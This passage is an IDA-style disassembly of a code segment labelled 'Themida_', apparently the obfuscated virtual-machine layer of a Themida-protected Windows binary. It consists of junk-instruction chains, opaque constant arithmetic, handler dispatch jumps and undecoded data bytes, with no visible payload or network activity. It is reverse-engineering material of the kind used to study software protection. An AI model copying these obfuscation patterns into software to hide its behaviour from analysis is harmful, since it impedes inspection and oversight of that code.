; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 0E9h
		dd 296Eh
; ---------------------------------------------------------------------------

loc_5680EC:				; CODE XREF: Themida_:0056A4B4j
		mov	[esp], edi
		mov	edi, 5E575E99h
		jmp	loc_56D2A9
; ---------------------------------------------------------------------------

loc_5680F9:				; CODE XREF: Themida_:0055FD09j
		mov	dh, bl
		mov	al, dh
		jmp	loc_56AF40
; ---------------------------------------------------------------------------
aUs5		db 'UИ!5',0
		align 4
		dd 6FE9E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56810E:				; CODE XREF: Themida_:0056801Ej
		push	ebp
		mov	ebp, 575324E7h
		sub	edi, ebp
		pop	ebp
		pop	ebx
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_56B226
; ---------------------------------------------------------------------------
aZ4SK		db '┤4$И-k',0
		align 2
		dw 0E6C1h
		dd 982FE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568132:				; CODE XREF: Themida_:00568FEDj
		push	66h
		mov	[esp], ecx
		push	14E37D45h
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5669A4
; ---------------------------------------------------------------------------
		db 1, 0FEh, 81h
		dd 17673EC6h, 0BA39E955h, 4B8FFFFh, 53000000h, 0CE0668BBh
		dd 87534B6Fh, 0D0F72404h, 5B240487h, 8106EBC1h,	0D7FCCC3h
		dd 3847E932h, 48F0000h,	16A6E924h, 0E1300000h, 24048B66h
		dd 2C481h, 53660000h, 0F930BBB7h, 241C8B66h, 0FF6A11E9h
		dd 243487FFh, 8924248Bh, 0E9542414h, 60E5h
; ---------------------------------------------------------------------------

loc_5681CC:				; CODE XREF: Themida_:0056900Ej
		pop	ebp
		add	ebp, 6AE96807h
		jmp	loc_571426
; ---------------------------------------------------------------------------
		dd 568FE95Ch, 62BAFFFFh, 0E94C5C3Eh, 2586h, 3C3E4EBEh
		dd 18C68167h, 0E91C7817h, 0FFFF7BF7h, 4CE9DE89h, 0FFFFFFA5h
		dd 5667E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568206:				; CODE XREF: Themida_:0056FD19j
		not	ecx
		sub	ecx, 20D75B34h
		sub	ecx, 19C305E3h
		add	eax, ecx
		pop	ecx
		jmp	loc_56A0C7
; ---------------------------------------------------------------------------
		dd 53159268h, 0DFE95A61h, 54FFFFFCh, 23E7685Eh,	10E90000h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568233:				; CODE XREF: Themida_:00562ACDj
		pop	edx
		pop	eax
		sub	edx, 3C463CBAh
		mov	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		jmp	loc_5727DF
; ---------------------------------------------------------------------------
		dw 0DA87h
		dd 8106E2C1h, 3E5DFFC2h, 0E6F28133h, 12DFC55h, 71E95AD0h
		dd 81FFFF8Dh, 4C4h, 8BF03100h, 0C4832434h, 66C33104h, 0E900B60Fh
		dd 0FFFFA0E6h
; ---------------------------------------------------------------------------

loc_568278:				; CODE XREF: Themida_:0056EDB7j
		shr	ecx, 5
		xor	ecx, 741149ABh
		add	ecx, 0D786833Ch
		mov	esi, ecx
		pop	ecx
		or	ecx, esi
		pop	esi
		sub	ecx, 7FFF7F81h
		mov	ebx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5723AC
; ---------------------------------------------------------------------------

loc_5682A9:				; CODE XREF: Themida_:0056EDDCj
		mov	ebx, 78156A57h
		mov	ecx, ebx
		pop	ebx
		neg	ecx
		push	edx
		jmp	loc_57236C
; ---------------------------------------------------------------------------

loc_5682B9:				; CODE XREF: Themida_:0056477Aj
		xor	ecx, [esp]
		pop	esp
		push	792Ch
		mov	[esp], ebp
		push	eax
		jmp	loc_56F3A6
; ---------------------------------------------------------------------------
		db 0F6h
aSl		db 'жИL/',0
		align 2
		dw 14F7h
		dd 0EE815E24h, 15E1765Bh, 4044F681h, 0F189FC35h, 0E9D9F75Eh
		dd 7742h
; ---------------------------------------------------------------------------

loc_5682EC:				; CODE XREF: Themida_:00564C6Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5699EA
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFB109E9h, 8BEF88FFh, 0C483240Ch, 0E9FC2804h, 0FFFFA7C2h
		dd 33241431h, 895C2414h, 37E9240Ch, 58000060h, 104C483h
		dd 5E953F9h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56832B:				; CODE XREF: Themida_:0056C197j
		push	ecx
		mov	ecx, 2F587D4Bh
		dec	ecx
		xor	ecx, 2F587D4Eh
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_569A2A
; ---------------------------------------------------------------------------

loc_568349:				; CODE XREF: Themida_:00560717j
		mov	esi, 4
		sub	eax, 654718ABh
		add	eax, esi
		add	eax, 654718ABh
		pop	esi
		push	esi
		push	ecx
		jmp	loc_567FC4
; ---------------------------------------------------------------------------

loc_568362:				; CODE XREF: Themida_:00567913j
		mov	ecx, 75254A66h
		not	ecx
		sub	ecx, 7E38012Ch
		or	ecx, 4AF360B9h
		not	ecx
		and	ecx, 2FC8504Fh
		add	ecx, 7D16302Ch
		xor	esi, ecx
		pop	ecx
		jmp	loc_56D8EC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4DE95300h, 83FFFF62h, 2C8904ECh, 241C8B24h, 0FF04C483h
		dd 0E95D2434h, 0FFFFE6EDh, 647BC681h, 0FE012E08h, 647BEE81h
		dd 0E95F2E08h, 505Ah, 8904EC83h, 8A682434h, 5E552D4Fh
		dd 66B2E9h, 4C18100h, 87000000h, 0FAE9240Ch, 89000089h
		dd 0EC832404h, 0C896602h, 4EC8324h, 53241489h, 0F8B6D6B3h
		dd 1C8BDE30h, 4C48124h,	0E9000000h, 39EFh
; ---------------------------------------------------------------------------

loc_568404:				; CODE XREF: Themida_:005699A8j
		push	25EAh
		jmp	loc_5721B7
; ---------------------------------------------------------------------------

loc_56840E:				; CODE XREF: Themida_:00565D76j
		add	eax, edi
		push	ecx
		mov	ecx, 0
		add	ecx, 201046F2h
		jmp	loc_5635A9
; ---------------------------------------------------------------------------

loc_568421:				; CODE XREF: Themida_:005701B1j
		push	ecx
		push	4
		pop	ecx
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ebp
		jmp	loc_55E8AC
; ---------------------------------------------------------------------------
		db 1
		dd 0C335AD1h, 240C3124h, 8B240C33h, 14E92424h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56844B:				; CODE XREF: Themida_:0056E2DDj
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_562FB2
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFA7C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56845D:				; CODE XREF: Themida_:00567750j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55FF49
; ---------------------------------------------------------------------------
		dd 0C15AD009h, 0F12D07E0h, 31ACDF4Ah, 0EB8958C5h, 0D8E95F5Dh
		dd 66FFFFF0h, 81240C8Bh, 4ECh, 241C8900h, 2434FF54h, 4EC835Bh
		dd 54241489h, 4C2815Ah,	0E9000000h, 7203h, 240C8B66h, 28FF68h
		dd 24048900h, 0EC81E089h, 4, 0FF62ABE9h, 0BE950FFh, 56000049h
		dd 1A9868h, 24048900h, 10314268h, 0E9485849h, 0FFFF93D1h
		dd 681BC181h, 0C18115D4h, 0A78EB078h, 91AEB81h,	0CB016409h
		dd 6076BD55h, 0F58164B0h, 388354BCh, 0F581DDF7h, 0C7C5C22Ch
		dd 0FF8146E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56850D:				; CODE XREF: Themida_:005666CAj
					; Themida_:00572644j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5672B7
; ---------------------------------------------------------------------------
		dd 2251BE56h, 0E6C11466h, 0FFEE8305h, 0BFEE8146h, 98399D9h
		dd 24348BF2h, 4C481h, 0CA810000h, 2BED070Dh, 0E904E2C1h
		dd 0FFFFE6C3h, 24148B66h, 0C67EE955h, 0C781FFFFh, 0DB919C20h
		dd 96E9F889h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56856F:				; CODE XREF: Themida_:005675FDj
		mov	ebp, 61700A34h
		sub	ebp, 5F70BE87h
		jmp	loc_56C662
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 0E9000000h, 4A07h
; ---------------------------------------------------------------------------

loc_56858C:				; CODE XREF: Themida_:0056B251j
		add	esp, 4
		jmp	loc_56DAB9
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 0AF6BE24h, 0D14656DDh, 77EE81EEh
		dd 812B6E85h, 221FD2EFh, 81F70109h, 221FD2C7h, 0C7835E09h
		dd 243C8704h, 4C6815Ch,	57000000h, 233FE9h, 0DFEE8100h
		dd 5850EA4Bh, 0AA6EE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5685DA:				; CODE XREF: Themida_:005640E2j
		xor	ebp, 5C315839h
		neg	ebp
		push	edx
		mov	edx, 14E01F02h
		shl	edx, 2
		dec	edx
		dec	edx
		not	edx
		push	ecx
		mov	ecx, 6D2871BDh
		not	ecx
		jmp	loc_56FDA1
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0BA241489h, 338A1731h, 0F668D2F7h, 89000051h
		dd 0BCB9240Ch, 81135031h, 0B2374AC1h, 3E9C163h,	2E1C149h
		dd 7524F181h, 0CA3177DBh, 14D5E959h, 0EFC10000h, 885BE905h
		dd 4310000h, 522BE924h,	58FFFFh, 24148BF3h, 5004C483h
		dd 4FE9D888h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_568653:				; CODE XREF: Themida_:00566A94j
		sub	al, 32h
		mov	dh, al
		pop	eax
		shr	dh, 5
		add	dh, 24h
		neg	dh
		inc	dh
		and	dh, 6Fh
		sub	dh, 0F2h
		xor	al, dh
		pop	edx
		add	bl, al
		pop	eax
		sub	bl, 0ACh
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 0E9h
		dd 8E29h
; ---------------------------------------------------------------------------

loc_56867C:				; CODE XREF: Themida_:00567625j
		add	esi, 651E5CF4h
		sub	esi, eax
		sub	esi, 651E5CF4h
		mov	eax, [esp]
		jmp	loc_56A161
; ---------------------------------------------------------------------------
		dw 0EEC0h
		dd 59CE8007h, 80CCEE80h, 0EB803BEEh, 16A7E916h,	0EB280000h
		dd 81E95159h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5686AF:				; CODE XREF: Themida_:00564891j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_568F28
; ---------------------------------------------------------------------------
		dd 56C7BF57h, 8147757Fh, 0EE5DB2CFh, 0E26CE925h, 0C381FFFFh
		dd 0CA619BAh, 4EC81h, 9AE90000h, 5CFFFFAAh, 2C781h, 3C330000h
		dd 243C3124h, 8B243C33h, 0F662424h, 9C2404B3h, 554DE9h
		db 0
; ---------------------------------------------------------------------------

loc_5686F9:				; CODE XREF: Themida_:00560686j
		mov	cl, 9Fh
		jmp	loc_56AA2F
; ---------------------------------------------------------------------------
		dd 0E4685755h, 8B6D4C0Ah, 0C483243Ch, 97EF8104h, 4F12FD62h
		dd 728EE957h, 0BE560000h, 206B6807h, 0FFDC22E9h, 39F281FFh
		dd 29664CE2h, 0BA9AE9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568732:				; CODE XREF: Themida_:005670F8j
		add	esi, 6C1E2FB0h
		add	ecx, esi
		pop	esi
		sub	ebp, 619E0E4Eh
		add	ebp, ecx
		push	ecx
		mov	ecx, 419301C7h
		add	ecx, offset dword_4E10F8
		shl	ecx, 5
		jmp	loc_563C8A
; ---------------------------------------------------------------------------
		db 86h
		dd 5A01245Ch, 0FFAFFBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568761:				; CODE XREF: Themida_:0056F7A2j
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	esi
		push	ecx
		jmp	loc_56FB9C
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 1Ah
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568777:				; CODE XREF: Themida_:00571E85j
		sub	edx, esi
		pop	esi
		sub	edx, ebx
		add	edx, 40161E37h
		jmp	loc_569D0A
; ---------------------------------------------------------------------------
aHBns0n		db 'h° BNИ0█',0
		dd 42D00h, 4870000h, 0EEB3E924h, 8146FFFFh, 1EEh, 0C0F68100h
		dd 81E245F1h, 513697EEh, 0EBCE8125h, 81337910h,	1E1BB2F6h
		dd 36CE8133h, 5769AE7Dh, 0BE4F50BFh, 4EFC15Fh, 796FBE56h
		dd 0F73150DAh, 81DFF75Eh, 0FD2489F7h, 4EC8364h,	0BB241C89h
		dd 0FB4FF1BBh, 315BDF31h, 4274E9FEh, 4890000h, 5E08924h
		dd 4, 8704C083h, 248B2404h, 24048F24h, 4EC815Ch, 89000000h
		dd 0E589242Ch, 4C581h, 0A0E90000h, 0FFFFFF79h, 50582434h
		dd 4055854h, 83000000h,	68E904E8h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568833:				; CODE XREF: Themida_:0055E039j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_564AE4
; ---------------------------------------------------------------------------
		db 83h
		dd 348704EEh, 8557E924h, 1DBF0000h, 6857E34Ch, 599Fh, 0FF8E7EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568859:				; CODE XREF: Themida_:00564807j
		mov	ebx, 4ABE4D95h
		add	ebx, 7D3E0776h
		jmp	loc_56FD2E
; ---------------------------------------------------------------------------
		db 58h,	8Fh, 4
		dd 24248B24h, 7FA68h, 84F5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56887A:				; CODE XREF: Themida_:0056D95Aj
		push	eax
		mov	eax, 6BB8280Fh
		xchg	eax, edi
		inc	edi
		push	7D9Dh
		mov	[esp], eax
		push	edi
		mov	eax, [esp]
		jmp	loc_560B53
; ---------------------------------------------------------------------------

loc_568893:				; CODE XREF: Themida_:0056A358j
		pop	esp
		add	esi, ebp
		pop	ebp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	7E1Fh
		mov	[esp], eax
		push	0E24h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_565ADE
; ---------------------------------------------------------------------------

loc_5688CA:				; CODE XREF: Themida_:00561F33j
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_560827
; ---------------------------------------------------------------------------
		db 5
		dd 70A3115Dh, 8324348Bh, 0EC8304C4h, 243C8904h,	0FFC3C8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5688ED:				; CODE XREF: Themida_:00560D3Fj
		pop	ebx
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_570CD1
; ---------------------------------------------------------------------------

loc_5688FE:				; CODE XREF: Themida_:0056F3D3j
		xchg	eax, [esp]
		mov	esp, [esp]
		push	48ACh
		mov	[esp], ebx
		push	1
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_570032
; ---------------------------------------------------------------------------

loc_568922:				; CODE XREF: Themida_:00569F5Ej
		xor	esi, 58947296h
		jmp	loc_562F0E
; ---------------------------------------------------------------------------
		db 25h,	6, 4Dh
		dd 8CE90670h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_568937:				; CODE XREF: Themida_:00563CD8j
		mov	[esp], edi
		mov	edi, 3E252A64h
		xor	edi, 10822B39h
		inc	edi
		push	ebp
		mov	ebp, 0DF6B22h
		or	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	edi, 7
		jmp	loc_566180
; ---------------------------------------------------------------------------

loc_56895D:				; CODE XREF: Themida_:00566B49j
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_565B2E
; ---------------------------------------------------------------------------
aPs_0		db 'PИб^',0
		align 10h

loc_568970:				; CODE XREF: Themida_:005713B8j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]

loc_568977:				; CODE XREF: Themida_:0056EBFEj
		push	60C0h
		mov	[esp], esi
		push	23Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_562390
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89512404h, 79F9E9E1h, 2205FFFFh, 0E9301944h,	0FFFFAE30h
; ---------------------------------------------------------------------------

loc_5689B0:				; CODE XREF: Themida_:0056925Cj
		push	edi
		mov	edi, ebx
		mov	edx, edi
		jmp	loc_5665F8
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 4C58300h, 31242C33h, 2C33242Ch, 0E9815C24h, 3C0DC877h
		dd 242C8B51h, 0E904C483h, 0FFFF7A58h, 95EF701h,	0E6815FFEh
		dd 22A562BDh, 2414F756h, 132AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5689F5:				; CODE XREF: Themida_:005621BBj
		mov	ebp, 68802C7Dh
		xor	ebx, ebp
		pop	ebp
		jmp	loc_55E635
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 81000000h,	0B28320C1h, 59CD01D1h, 6D986856h
		dd 0C890000h, 7960B924h, 0F18142C3h, 5B700886h,	71E4F181h
		dd 0CE8919B3h, 81240C8Bh, 4C4h,	8BF50100h, 0C4832434h
		dd 5F77E904h, 6851FFFFh, 4315h,	0BF243C89h, 57702171h
		dd 1BB53h, 0DF290000h, 66DFE95Bh, 0C181FFFFh, 4, 0E904C183h
		dd 809Eh, 0F0DCE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568A76:				; CODE XREF: Themida_:00565FF9j
		shl	ebx, 5
		jmp	loc_5614C8
; ---------------------------------------------------------------------------
		dw 0D0F6h
		dd 0C3882D34h, 3088B258h, 5BADE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568A8E:				; CODE XREF: Themida_:00561121j
		push	edx
		mov	edx, 0FFFFFFFFh
		add	esi, edx
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_566377
; ---------------------------------------------------------------------------

loc_568AAB:				; CODE XREF: Themida_:0055DCC9j
		mov	ecx, [esp]
		add	esp, 4
		push	7AB1h
		jmp	loc_560D1E
; ---------------------------------------------------------------------------
		db 31h
		dd 9C0559CAh, 2D158878h, 7DC56919h, 1905D029h, 0E97DC569h
		dd 0FFFFBCC7h
; ---------------------------------------------------------------------------

loc_568AD4:				; CODE XREF: Themida_:005703DBj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	163813C2h
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_560FBE
; ---------------------------------------------------------------------------
		dd 80FEC380h, 0E95194C3h, 0FFFFC78Bh, 235254B9h, 16F18169h
		dd 2948F3F0h, 0F18959CEh, 8324348Bh, 0E93104C4h, 13DEE9h
		db 0
; ---------------------------------------------------------------------------

loc_568B31:				; CODE XREF: Themida_:0057217Bj
		mov	ebp, esp
		jmp	loc_55F453
; ---------------------------------------------------------------------------

loc_568B38:				; CODE XREF: Themida_:0056EE6Aj
		pop	ebx
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 350EBD55h, 0ED81088Ch, 73AD227Fh,	7EBFF581h, 0EF3187BDh
		dd 10F8E95Dh, 0E9C10000h, 74E94902h, 0BEFFFF6Eh, 88B61D1h
		dd 0FFE67BE9h, 0E99624FFh, 0FFFF98BEh, 0E95EF531h, 0FFFFC895h
		dd 4C4815Dh, 0E9000000h, 0FFFFEF99h
; ---------------------------------------------------------------------------

loc_568B8C:				; CODE XREF: Themida_:00564483j
		mov	bl, 22h
		sub	dl, bl
		jmp	loc_571E61
; ---------------------------------------------------------------------------

loc_568B95:				; CODE XREF: Themida_:0056EC62j
		mov	ebx, 35F6387Ah
		and	ebp, ebx
		pop	ebx
		xor	ebp, 0F22844h
		add	eax, ebp
		jmp	loc_56AACB
; ---------------------------------------------------------------------------

loc_568BAA:				; CODE XREF: Themida_:0056A531j
		pop	esp
		push	ebp
		jmp	loc_5637EF
; ---------------------------------------------------------------------------
		dd offset unk_4DF580
		db 0EEh, 59h, 80h
		dd 0D6F64FEEh, 0EDB151h, 89D2E9CEh, 0F7810000h,	0E54F51DFh
		dd 5B215B68h, 0ED815DD0h, 61B56845h, 0C581FD29h, 61B56845h
		dd 0F74D4D5Fh, 49E952D5h, 89000093h, 448159CDh,	32470424h
		dd 97E91F7Bh, 31FFFF96h, 0FB295DEFh, 81F3295Fh,	7E6DC8C3h
		dd 0EC835E1Eh, 240C8904h, 0D858A7B9h, 74CDE938h, 0D3F7FFFFh
		dd 8107EBC1h, 0B55ADFC3h, 0DBC38152h, 31DE9521h, 0A5E95BDFh
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568C33:				; CODE XREF: Themida_:0056315Ej
		push	ebx
		push	edx
		mov	edx, 6E05072Bh
		mov	ebx, 0CAF32035h
		sub	ebx, edx
		pop	edx
		neg	ebx
		add	ebx, 1
		push	ebp
		mov	ebp, 680030D0h
		push	9B2h
		mov	[esp], edi
		mov	edi, 10BE42D3h
		jmp	loc_56ED76
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 971AFBEEh, 24048B5Fh, 3D4068h, 24348900h, 0C6815E54h
		dd 4, 0FF4C1BE9h, 87F387FFh, 87D1F7CEh,	31F331CEh, 852BE9DEh
		dd 0CF010000h, 6870E9h
		db 0
; ---------------------------------------------------------------------------

loc_568C99:				; CODE XREF: Themida_:0056A099j
		push	464B2054h
		jmp	loc_569C93
; ---------------------------------------------------------------------------

loc_568CA3:				; CODE XREF: Themida_:005606ECj
		add	esi, edx
		jmp	loc_55E7A6
; ---------------------------------------------------------------------------
		dd offset dword_5C5068
		dw 8900h
		dd 0E9552434h, 0FFFF82B1h
; ---------------------------------------------------------------------------

loc_568CB8:				; CODE XREF: Themida_:005623CBj
		sub	edx, 73B52F72h
		jmp	loc_569B87
; ---------------------------------------------------------------------------

loc_568CC3:				; CODE XREF: Themida_:005724F3j
		mov	eax, ebx
		jmp	loc_56B1CA
; ---------------------------------------------------------------------------

loc_568CCA:				; CODE XREF: Themida_:00571675j
		push	edi
		mov	edi, 65C7545Dh
		push	edx
		mov	edx, 3217382Eh
		push	ebp
		mov	ebp, 41EB0C8Fh
		inc	ebp
		jmp	loc_5640DF
; ---------------------------------------------------------------------------
		dw 0D689h
		dd 0FFE2B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568CE9:				; CODE XREF: Themida_:0056F34Aj
		not	ebx
		add	ebx, 25466DAEh
		xor	ebx, 0C2D35582h
		xor	edi, ebx
		pop	ebx
		pop	ecx
		jmp	loc_569D7E
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 74FF5704h, 0E5E90424h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568D13:				; CODE XREF: Themida_:00563D1Aj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56EF56
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8124148Bh, 4C4h, 8F6600h,	5677E9h, 48F5800h, 7EC6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_568D42:				; CODE XREF: Themida_:00562003j
		dec	edx
		jmp	loc_5657A7
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 4EC835Ah, 0B0240489h, 0CD8F60Ch, 0C205E9B8h
		dd 0C381FFFFh, 4, 0E904EB83h, 34B7h
; ---------------------------------------------------------------------------

loc_568D6C:				; CODE XREF: Themida_:0056F2A0j
		sub	al, cl
		jmp	loc_562CFC
; ---------------------------------------------------------------------------

loc_568D73:				; CODE XREF: Themida_:00568FE0j
		or	eax, 2F4C35F2h
		add	eax, 29ED4FEEh
		jmp	loc_55E57A
; ---------------------------------------------------------------------------

loc_568D82:				; CODE XREF: Themida_:00560BCCj
		mov	[esp], esp
		push	edx
		mov	edx, 4
		sub	dword ptr [esp+4], 790C4697h
		add	[esp+4], edx
		add	dword ptr [esp+4], 790C4697h
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5651D9
; ---------------------------------------------------------------------------
		dd 0E8895D56h, 2434FF5Dh, 0FFDD2BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568DD9:				; CODE XREF: Themida_:0056A737j
		mov	ebx, esp
		push	esi
		mov	esi, 68103121h
		push	ebx
		mov	ebx, 40E03821h
		jmp	loc_561492
; ---------------------------------------------------------------------------
		dd 0DE28E2B3h, 5B2434FFh, 0E904C483h, 4E4Fh
; ---------------------------------------------------------------------------

loc_568DFC:				; CODE XREF: Themida_:0056AE0Fj
		pop	esi
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		sub	ebp, 646BC413h
		sub	edi, 563025F2h
		add	edi, ebp
		add	edi, 563025F2h
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562D04
; ---------------------------------------------------------------------------
		db 5
		dd 4, 8704C083h, 45C2404h, 288304E3h, 0E7E951D0h, 8100008Bh
		dd 4D4EBCC7h, 5FF80129h, 34A3C181h, 0E9813947h,	3A7B6CECh
		dd 104ABA52h, 0E950287Fh, 0FFFFB32Ch
; ---------------------------------------------------------------------------

loc_568E5C:				; CODE XREF: Themida_:00566724j
		or	dh, 2Fh
		push	19B4h
		mov	[esp], ecx
		mov	ch, 0BAh
		or	ch, 24h
		jmp	loc_566FE7
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 8DA9E95Ch, 1C31FFFFh, 241C3324h, 0FFF045E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568E85:				; CODE XREF: Themida_:0056E7BAj
		sub	ecx, 71AF1B97h
		jmp	loc_561208
; ---------------------------------------------------------------------------
		dd 4C48158h, 81000000h,	0ED49C4C6h, 81DE2916h, 0ED49C4EEh
		dd 1414E916h, 0C7010000h, 240C8B58h, 81E38953h,	4C3h, 4C38100h
		dd 87000000h, 835C241Ch, 3C3302C7h, 243C3124h, 0E9243C33h
		dd 177Ch, 83243489h, 1C8904ECh,	37A56824h, 34FF2A7Fh, 481E924h
		dd 8B660000h, 0EC81240Ch, 4, 89243C89h,	4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 243C895Ch, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 24248B24h, 0E9241C89h, 0FFFFD9DBh
; ---------------------------------------------------------------------------

loc_568F28:				; CODE XREF: Themida_:005686B3j
		push	eax
		jmp	loc_560180
; ---------------------------------------------------------------------------

loc_568F2E:				; CODE XREF: Themida_:0055FA2Cj
		sub	ebx, eax
		push	6CC4h
		mov	[esp], ecx
		push	eax
		jmp	loc_570063
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFF5413h, 815EF201h, 4EAh,	24148700h, 2414895Ch, 24148B54h
		dd 6391E9h, 24048100h, 4, 13BE5658h, 4637943Ch,	453AE9h
		dd 74FF5100h, 0C8B0424h, 0E1895124h, 0FFD382E9h, 24248BFFh
		dd 4B30F66h, 0DEE99C24h, 68FFFF48h, 379Dh, 5A243489h, 0FF58AAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568F9D:				; CODE XREF: Themida_:00561203j
		pop	esp
		jmp	loc_571BF9
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CEE902E8h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568FAB:				; CODE XREF: Themida_:00565046j
		push	edi
		jmp	loc_55EE08
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 56000000h, 0C681E689h, 4, 4C681h, 9EE90000h,	33FFFFDAh
		dd 0C31240Ch, 0D883E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568FD6:				; CODE XREF: Themida_:005645A9j
		mov	eax, 48963F57h
		and	eax, 39976DBCh
		jmp	loc_568D73
; ---------------------------------------------------------------------------

loc_568FE5:				; CODE XREF: Themida_:0055D897j
		push	4FEAh
		mov	[esp], esi
		jmp	loc_568132
; ---------------------------------------------------------------------------

loc_568FF2:				; CODE XREF: Themida_:0056A39Cj
		pop	ecx
		xor	dh, 0D6h
		jmp	loc_567A9D
; ---------------------------------------------------------------------------
		db 83h
		dd 0DBE904C4h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

